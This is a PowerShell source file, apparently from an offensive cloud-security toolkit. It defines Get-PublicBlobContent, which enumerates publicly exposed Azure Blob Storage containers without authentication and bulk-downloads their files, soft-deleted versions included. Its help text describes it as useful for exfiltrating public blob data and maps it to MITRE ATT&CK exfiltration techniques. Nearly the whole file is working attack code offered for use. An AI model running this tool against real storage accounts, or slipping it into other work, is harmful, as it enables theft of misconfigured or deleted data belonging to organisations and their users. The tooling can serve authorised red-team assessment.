Public/Exfiltration/anonymous/Get-PublicBlobContent.ps1

function Get-PublicBlobContent {
    [cmdletbinding(DefaultParameterSetName = "ListByName")]
    param (
        [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = "DownloadByUrl")]
        [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = "ListByUrl")]
        [ValidatePattern('^https://[a-z0-9]+\.blob\.core\.windows\.net/[^?]+', ErrorMessage = "It does not match expected pattern '{1}'")]
        [Alias('url', 'uri')]
        [string]$BlobUrl,

        [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = "DownloadByName")]
        [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = "ListByName")]
        [ValidatePattern('^[a-z0-9]{3,24}$', ErrorMessage = "Storage account name must be 3-24 lowercase alphanumeric characters")]
        [Alias('storage', 'account', 'sa')]
        [string]$StorageAccountName,

        [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = "DownloadByName")]
        [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = "ListByName")]
        [ValidatePattern('^[a-z0-9](?!.*--)[a-z0-9-]{1,61}[a-z0-9]$', ErrorMessage = "Container name must be 3-63 lowercase alphanumeric characters or hyphens")]
        [Alias('container', 'folder', 'cn')]
        [string]$ContainerName,

        [Parameter(Mandatory = $true, ParameterSetName = "DownloadByUrl")]
        [Parameter(Mandatory = $true, ParameterSetName = "DownloadByName")]
        [Alias('path', 'out', 'dir')]
        [string]$OutputPath,

        [Parameter(Mandatory = $false)]
        [Alias('deleted', 'archived', 'include-deleted')]
        [switch]$IncludeDeleted,

        [Parameter(Mandatory = $true, ParameterSetName = "DownloadByUrl")]
        [Parameter(Mandatory = $true, ParameterSetName = "DownloadByName")]
        [Alias('save', 'fetch')]
        [switch]$Download
    )

    begin {
        Write-Verbose "Starting function $($MyInvocation.MyCommand.Name)"

        # If StorageAccountName and ContainerName are provided, construct the BlobUrl
        if ($PSCmdlet.ParameterSetName -like "*ByName") {
            $BlobUrl = "https://$StorageAccountName.blob.core.windows.net/$ContainerName"
            Write-Verbose "Constructed BlobUrl: $BlobUrl"
        }
    }

    process {
        try {
            # Ensure the download directory exists if we're downloading files
            if ($Download -and -not [string]::IsNullOrEmpty($OutputPath)) {
                if (-not (Test-Path -Path $OutputPath)) {
                    Write-Host " Creating output directory: $OutputPath" -ForegroundColor Yellow
                    New-Item -ItemType Directory -Path $OutputPath -Force | Out-Null
                }
            }

            # Check if the URL already contains the container list parameters
            if ($BlobUrl -notlike "*restype=container&comp=list*") {
                $separator = if ($BlobUrl -like "*`?*") { "?" } else { "?" }
                $requestUrl = "$BlobUrl$separator" + "restype=container&comp=list"
            }
            else {
                $requestUrl = $BlobUrl
            }

            # Add the versions parameter if it's not already there
            if ($requestUrl -notlike "*include=versions*") {
                $requestUrl = "$requestUrl&include=versions"
            }

            $params = @{
                Uri             = $requestUrl
                Headers         = @{
                    "x-ms-version" = "2019-12-12"
                    "Accept"       = "application/xml"
                }
                UseBasicParsing = $true
            }

            $fileContent = Invoke-RestMethod @params

            if ($BlobUrl -match '^(https?://[^/]+)/([^/?]+)') {
                $matchResults = $matches
                $serviceEndpoint = $matchResults[1] + "/"
                $containerName = $matchResults[2]
            }
            else {
                Write-Message -FunctionName $($MyInvocation.MyCommand.Name) -Message "Invalid URI format. Expected format: https://storage.blob.core.windows.net/container" -ErrorAction Error
            }

            # Define the regex pattern to extract file names, version IDs, and their current version status
            $isCurrentVersion = '<Blob><Name>([^<]+)</Name><VersionId>([^<]+)</VersionId><IsCurrentVersion>([^<]+)</IsCurrentVersion>'
            $isNotCurrentVersion = '<Blob><Name>([^<]+)</Name><VersionId>([^<]+)</VersionId>(?!<IsCurrentVersion>true</IsCurrentVersion>)'

            # Match the pattern in the file content
            $fileMatches = [regex]::Matches($fileContent, $isCurrentVersion)

            if ($IncludeDeleted) {
                $fileMatches = [regex]::Matches($fileContent, $isNotCurrentVersion)
            }

            $messageType = if ($Download) { "to download" } else { "to list" }
            Write-Message -FunctionName $($MyInvocation.MyCommand.Name) -Message " Found $($fileMatches.Count) files $messageType" -Severity 'Information'

            if (-not $Download) {
                $fileList = @()
                foreach ($match in $fileMatches) {
                    $fileName  = $match.Groups[1].Value
                    $versionId = $match.Groups[2].Value
                    $isCurrentVersion = $match.Groups.Count -gt 3 -and $match.Groups[3].Value -eq 'true'
                    $status = if ($isCurrentVersion) { "Current" } else { "🗑️ Deleted" }

                    $fileList += [PSCustomObject]@{
                        Name      = "$fileName"
                        Status    = $status
                        VersionId = $versionId
                        FullPath  = "$serviceEndpoint$containerName/$fileName"
                    }
                }
                Write-Host "Blob listing complete! Found $($fileList.Count) files." -ForegroundColor Green
                return $fileList
            }

            # Add progress message before starting downloads
            Write-Host "Starting parallel downloads with throttle limit of 100..." -ForegroundColor Cyan
            
            $fileMatches | ForEach-Object -Parallel {
                $fileName         = $_.Groups[1].Value
                $versionId        = $_.Groups[2].Value
                $isCurrentVersion = $_.Groups[3].Value -eq 'true'

                $serviceEndpoint = $using:serviceEndpoint
                $containerName   = $using:containerName
                $OutputPath      = $using:OutputPath

                if ($isCurrentVersion) {
                    $fileUrl = "$serviceEndpoint$containerName/$fileName"
                }
                else {
                    $fileUrl = '{0}{1}/{2}?versionId={3}' -f $serviceEndpoint, $containerName, $fileName, $versionId
                }

                $downloadPath = Join-Path -Path $OutputPath -ChildPath $fileName
                $downloadDirPath = Split-Path -Path $downloadPath

                if (-not (Test-Path -Path $downloadDirPath)) {

                    New-Item -ItemType Directory -Path $downloadDirPath -Force | Out-Null
                }

                # Download the file
                $params = @{
                    Uri             = $fileUrl
                    OutFile         = $downloadPath
                    UseBasicParsing = $true
                    Headers         = @{"x-ms-version" = "2019-12-12" }
                }

                try {
                    Invoke-RestMethod @params
                    Write-Information "Downloaded: $fileName" -InformationAction Continue
                }
                catch {
                    Write-Information "Failed to download: $fileName - $($_.Exception.Message)" -InformationAction Continue
                }
            } -ThrottleLimit 100
            
            Write-Host "Download process completed!" -ForegroundColor Green
        }
        catch {
            Write-Message -FunctionName $($MyInvocation.MyCommand.Name) -Message "$($_.Exception.Message)" -Severity 'Error'
        }
    }

    end {
        Write-Verbose "Ending function $($MyInvocation.MyCommand.Name)"
    }

    <#
    .SYNOPSIS
        Lists or downloads files from a public Azure Blob Storage account.
 
    .DESCRIPTION
        Lists or downloads files from a public Azure Blob Storage account including soft-deleted blobs. Enumerates blob containers and files without authentication. Useful for discovering and exfiltrating public blob data.
 
    .PARAMETER StorageAccountName
        The name of the Azure Storage Account (3-24 lowercase alphanumeric characters).
        Use this with ContainerName as an alternative to BlobUrl.
        Aliases: storage, account, sa
 
    .PARAMETER ContainerName
        The name of the blob container (3-63 lowercase alphanumeric characters or hyphens).
        Use this with StorageAccountName as an alternative to BlobUrl.
        Aliases: container, folder, cn
 
    .PARAMETER BlobUrl
        The full URL of the Azure Blob Storage container. The URL must match the pattern 'https://[account].blob.core.windows.net/[container]'.
        Aliases: url, uri
 
    .PARAMETER OutputPath
        The directory where the files will be downloaded. If the directory does not exist, it will be created.
        This parameter is required when using -Download.
        Aliases: path, out, dir
 
    .PARAMETER IncludeDeleted
        A switch to indicate whether to include soft-deleted blobs. If not specified, only the current versions will be included.
        Aliases: deleted, archived, include-deleted
 
    .PARAMETER Download
        When specified along with -OutputPath, the function will download the blobs instead of just listing them.
        Aliases: save, fetch
 
    .EXAMPLE
        Get-PublicBlobContent -StorageAccountName "mystorageaccount" -ContainerName "mycontainer"
 
        This example lists all current blobs in the container using storage account name and container name.
 
    .EXAMPLE
        Get-PublicBlobContent -StorageAccountName "bluemountaintravelsa" -ContainerName "templates" -IncludeDeleted
 
        This example lists both current and deleted blobs in the templates container.
 
    .EXAMPLE
        Get-PublicBlobContent -BlobUrl "https://mystorageaccount.blob.core.windows.net/mycontainer"
 
        This example lists all current blobs in the container using the full URL.
 
    .EXAMPLE
        Get-PublicBlobContent -BlobUrl "https://mystorageaccount.blob.core.windows.net/mycontainer" -IncludeDeleted
 
        This example lists both current and deleted blobs in the container.
 
    .EXAMPLE
        Get-PublicBlobContent -StorageAccountName "mystorageaccount" -ContainerName "mycontainer" -OutputPath "/home/user/downloads" -Download
 
        This example downloads the current versions of the files to the specified directory.
 
    .EXAMPLE
        Get-PublicBlobContent -BlobUrl "https://mystorageaccount.blob.core.windows.net/mycontainer" -OutputPath "/home/user/downloads" -Download
 
        This example downloads the current versions of the files from the specified Azure Blob Storage account to the /home/user/downloads directory.
 
    .EXAMPLE
        Get-PublicBlobContent -storage "mystorageaccount" -container "mycontainer" -path "/home/user/downloads" -IncludeDeleted -Download
 
        This example uses aliases to download both current and deleted versions of the files.
 
    .EXAMPLE
        Get-PublicStorageAccounts -storageAccountName 'mystorage' | Get-PublicBlobContent
 
        This example retrieves public file containers for the specified storage account and lists the files.
 
    .NOTES
        Author: Rogier Dijkman
 
    .LINK
        MITRE ATT&CK Tactic: TA0010 - Exfiltration
        https://attack.mitre.org/tactics/TA0010/
 
    .LINK
        MITRE ATT&CK Technique: T1530 - Data from Cloud Storage
        https://attack.mitre.org/techniques/T1530/
    #>

}